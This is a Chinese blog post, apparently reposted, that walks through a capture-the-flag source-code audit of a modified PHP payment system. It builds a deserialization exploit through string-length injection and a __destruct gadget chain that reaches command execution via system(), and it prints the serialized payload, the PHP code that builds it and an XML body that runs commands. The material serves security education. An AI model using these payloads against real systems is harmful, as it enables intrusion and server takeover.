当前位置:首页 » 《随便一记》 » 正文

CTF——一次源码审计【O泡易支付】_recover517的博客

24 人参与  2022年06月04日 16:32  分类 : 《随便一记》  评论

点击全文阅读


首先是得到了支付系统的源码,第一步使用扫描工具进行扫描,没有发现简单的漏洞,决定从网上寻找源码,对比原始文件的方式,查看出题者具体改了哪些代码。

PS:总不可能让我们挖0day吧。

下载链接,0币下载(工具除外)

题目下载
源码下载
工具下载

使用 Beyound Compare 进行文件对比(52上有pj),很快发现了几处修改

在这里插入图片描述

第1处

// /includes/cron/cron.php
# 新增
function filter_($str) {
    return str_replace("cxyu", "ccxyu", $str);
}
...
# 新增
$data['userdata'] = $_POST['userdata'];
...
# 利用点
$serial_str = filter_(serialize($data));

第2处

// /admin/index.php
# 新增
include("../submit/wxpay/wxpay_notify.php");
...
# 利用点
$data=unserialize(file_get_contents(SYSTEM_ROOT.'db.txt'));

第3处

// /submit/wxpay/wxpay_notify.php
class PayNotifyCallBack extends WxPayNotify
{
...
	public function NotifyProcess($data, &$msg)
	{
		//file_put_contents('log.txt',"call back:" . json_encode($data));
		$notfiyOutput = array();
		# 新增,利用点
		if (!array_udiff_assoc([$data["array_data"]], [1], $data["callback"])) {
			$msg = "输入参数不正确";
			return false;
		}
	}
...
}

第4处

// /includes/wxpay/WxPay.Notify.php
class WxPayNotify extends WxPayNotifyReply
{
	/**
	 * 开始监听
	 * 利用点
	 */
	public function __destruct()
	{
		//Log::DEBUG("begin notify");
		$this->Handle(false);
	}
	...
	/**
	 * 
	 * 回调入口
	 * @param bool $needSign  是否需要签名输出
	 */
	final private function Handle($needSign = true)
	{
		$msg = "OK";
		//当返回false的时候,表示notify中调用NotifyCallBack回调失败获取签名校验失败,此时直接回复失败
		# 利用点
		$result = WxpayApi::notify(array($this, 'NotifyCallBack'), $msg);
		if($result == false){
			$this->SetReturn_code("FAIL");
			$this->SetReturn_msg($msg);
			$this->ReplyNotify(false);
			return;
		} else {
			//该分支在成功回调到NotifyCallBack方法,处理完成之后流程
			$this->SetReturn_code("SUCCESS");
			$this->SetReturn_msg("OK");
		}
		$this->ReplyNotify($needSign);
	}
}

第5处


class WxPayApi
{
...
 	/**
 	 * 
 	 * 支付结果通用通知
 	 * @param function $callback
 	 * 直接回调函数使用方法: notify(you_function);
 	 * 回调类成员函数方法:notify(array($this, you_function));
 	 * $callback  原型为:function function_name($data){}
 	 */
	public static function notify($callback, &$msg)
	{
		//获取通知的数据
		$xml = file_get_contents("php://input");
		//如果返回成功则验证签名
		try {
			# 利用点
			$result = WxPayResults::Init($xml);
		} catch (WxPayException $e){
			$msg = $e->errorMessage();
			return false;
		}
		# 利用点
		return call_user_func($callback, $result);
	}
...
}

我们来整理一下思路

第1、2、3处为做着修改的部分,其实做着的意图也很明显

  第1处,作者让我们构造一个存在漏洞的序列化字符串,并写入db.txt文件。
  第2处,作者读取db.txt文件内容,让我们使用反序列化,利用我们之前构造的序列化字符串干坏事,具体什么坏事呢?看第3处。
  第3处,这里出现了一个新增的函数array_udiff_assoc,这是一个允许传入字符串作为回调函数的函数。

在这里插入图片描述
  那么我们就要利用这个函数,构造$data['callback']作为函数名,构造$data['array_data']作为参数。
  这里需要注意,$data['callback']必须支持2个参数,具体为什么,可以自己运行array_udiff_assoc试一下,这里我使用的是system函数。
在这里插入图片描述

接下来,就是考虑如何利用PayNotifyCallBack类,使其调用NotifyProcess

  搜索了很久,没有发现直接调用的地方,但发现了第4处,代码中使用了WxpayApi::notify,可能是关键点,查看文件,发现第5处。
  很明显,WxpayApi::notify接收一个POST流,并以XML格式进行解析,将解析的内容当做NotifyProcess的参数进行返回,那么,上面提到了$data的内容我们就有了。

最后,就是如何利用反序列化漏洞,去触发这个方法

  同样第4处,我们可以看到,WxPayNotify类有一个__destruct魔术方法,在对象销毁时触发,并调用了Handle方法,这正是我们需要的方法。

那么,线索就齐了

  我们post一个值到/includes/cron/cron.php,通过访问/admin/index.php文件来触发反序列化漏洞,通过漏洞,我们创建了一个PayNotifyCallBack对象,在对象销毁时,会触发上面的函数调用过程,所以我们通过post访问/admin/index.php,并传递一个如下的body来getshell

<xml><array_data><![CDATA[ls]]></array_data><callback><![CDATA[system]]></callback></xml>

开始构造Payload

  1. 首先,我们要利用php序列化字符串的特性,payload如下:
userdata[cxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyu";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:]

这里我扩充说明一下:
这里需要利用上面提到的filter_函数

function filter_($str) {
    return str_replace("cxyu", "ccxyu", $str);
}

他会协助我们构造payload,当我们传送一个字符串时,他为替我们扩充字符串的长度,也就是,我们可以通过多出来的字符串,来修改这个序列化的值,构造的代码如下:

$payload = '";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:';
$payload = str_repeat('cxyu', strlen($payload)) . $payload;
$data['userdata'] = [$payload => 'bb'];
// $data['userdata'] = 'O:4:"PayNotifyCallBack":0:{};s:0:"';
function filter_($str) {
    return str_replace("cxyu", "ccxyu", $str);
}
var_dump(filter_(serialize($data)));

相当于我为userdata下标构造了这样一个数组

array(
"userdata" => [
	'cxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyu";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:' => 'bb'
	]
)

最终的序列化结果如下

a:1:{s:8:"userdata";a:1:{s:220:"ccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyu";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:";s:2:"bb";}}

可以看到,我利用s:8:去吞掉了一个不需要的双引号;s:2:"bb,(或者构造一个长度为2的数据,同理用字符串长度去吃掉第二个数据即可,这样数组长度在序列化中就不会出现不一致的情况),至此,我得到了我的第一个payload
在这里插入图片描述

  1. 我们访问/admin/index.php,发现需要登录,幸运的是,账号密码均为admin,获取登录的cookie信息,发送payload如下:
    在这里插入图片描述

点击全文阅读


本文链接:http://zhangshiyu.com/post/41383.html

利用  函数  构造  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1